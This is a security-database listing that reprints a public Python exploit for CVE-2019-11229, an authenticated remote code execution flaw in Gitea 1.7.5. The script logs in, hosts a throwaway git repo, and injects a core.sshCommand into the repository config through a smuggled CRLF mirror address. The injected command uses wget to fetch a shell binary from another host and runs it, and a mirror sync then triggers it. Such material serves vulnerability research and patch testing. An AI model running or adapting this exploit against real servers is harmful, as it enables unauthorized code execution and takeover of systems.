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Gitea 1.7.5 Remote Code Execution

CVE Category Price Severity
CVE-2019-11229 CWE-78 Not specified High
Author Risk Exploitation Type Date
Gitea Team High Remote 2021-01-07
CPE
cpe:cpe:/a:gitea:gitea:1.7.5
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010063

Below is a copy:

Gitea 1.7.5 Remote Code Execution
# Exploit Title: Gitea 1.7.5 - Remote Code Execution
# Date: 2020-05-11
# Exploit Author: 1F98D
# Original Author: LoRexxar
# Software Link: https://gitea.io/en-us/
# Version: Gitea before 1.7.6 and 1.8.x before 1.8-RC3
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2019-11229
# References:
# https://medium.com/@knownsec404team/analysis-of-cve-2019-11229-from-git-config-to-rce-32c217727baa
#
# Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings,
# leading to authenticated remote code execution.
# 
#!/usr/bin/python3

import re
import os
import sys
import random
import string
import requests
import tempfile
import threading
import http.server
import socketserver
import urllib.parse
from functools import partial

USERNAME = "test"
PASSWORD = "password123"
HOST_ADDR = '192.168.1.1'
HOST_PORT = 3000
URL = 'http://192.168.1.2:3000'                                                                                                                                                                          
CMD = 'wget http://192.168.1.2:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell'                                                                                                             
                                                                                                                                                                                                             
# Login                                                                                                                                                                                                      
s = requests.Session()                                                                                                                                                                                       
print('Logging in')                                                                                                                                                                                          
body = {                                                                                                                                                                                                     
    'user_name': USERNAME,                                                                                                                                                                                   
    'password': PASSWORD                                                                                                                                                                                     
}                                                                                                                                                                                                            
r = s.post(URL + '/user/login',data=body)                                                                                                                                                                    
if r.status_code != 200:                                                                                                                                                                                     
    print('Login unsuccessful')                                                                                                                                                                              
                                                                                                                                                                                                             
    sys.exit(1)                                                                                                                                                                                              
print('Logged in successfully')                                                                                                                                                                              

# Obtain user ID for future requests
print('Retrieving user ID')
r = s.get(URL + '/')
if r.status_code != 200:
    print('Could not retrieve user ID')
    sys.exit(1)

m = re.compile("<meta name=\"_uid\" content=\"(.+)\" />").search(r.text)
USER_ID = m.group(1)
print('Retrieved user ID: {}'.format(USER_ID))

# Hosting the repository to clone
gitTemp = tempfile.mkdtemp()
os.system('cd {} && git init'.format(gitTemp))
os.system('cd {} && git config user.email [email protected] && git config user.name x && touch x && git add x && git commit -m x'.format(gitTemp))
os.system('git clone --bare {} {}.git'.format(gitTemp, gitTemp))
os.system('cd {}.git && git update-server-info'.format(gitTemp))
handler = partial(http.server.SimpleHTTPRequestHandler,directory='/tmp')
socketserver.TCPServer.allow_reuse_address = True
httpd = socketserver.TCPServer(("", HOST_PORT), handler)
t = threading.Thread(target=httpd.serve_forever)
t.start()
print('Created temporary git server to host {}.git'.format(gitTemp))

# Create the repository
print('Creating repository')
REPO_NAME = ''.join(random.choice(string.ascii_lowercase) for i in range(8))
body = {
    '_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
    'uid': USER_ID,
    'repo_name': REPO_NAME,
    'clone_addr': 'http://{}:{}/{}.git'.format(HOST_ADDR, HOST_PORT, gitTemp[5:]),
    'mirror': 'on'
}
r = s.post(URL + '/repo/migrate', data=body)
if r.status_code != 200:
    print('Error creating repo')
    httpd.shutdown()
    t.join()
    sys.exit(1)
print('Repo "{}" created'.format(REPO_NAME))

# Inject command into config file
print('Injecting command into repo')
body = {
    '_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
    'mirror_address': 'ssh://example.com/x/x"""\r\n[core]\r\nsshCommand="{}"\r\na="""'.format(CMD),
    'action': 'mirror',
    'enable_prune': 'on',
    'interval': '8h0m0s'
}
r = s.post(URL + '/' + USERNAME + '/' + REPO_NAME + '/settings', data=body)
if r.status_code != 200:
    print('Error injecting command')
    httpd.shutdown()
    t.join()
    sys.exit(1)
print('Command injected')

# Trigger the command
print('Triggering command')
body = {
    '_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
    'action': 'mirror-sync'
}
r = s.post(URL + '/' + USERNAME + '/' + REPO_NAME + '/settings', data=body)
if r.status_code != 200:
    print('Error triggering command')
    httpd.shutdown()
    t.join()
    sys.exit(1)

print('Command triggered')

# Shutdown the git server
httpd.shutdown()
            

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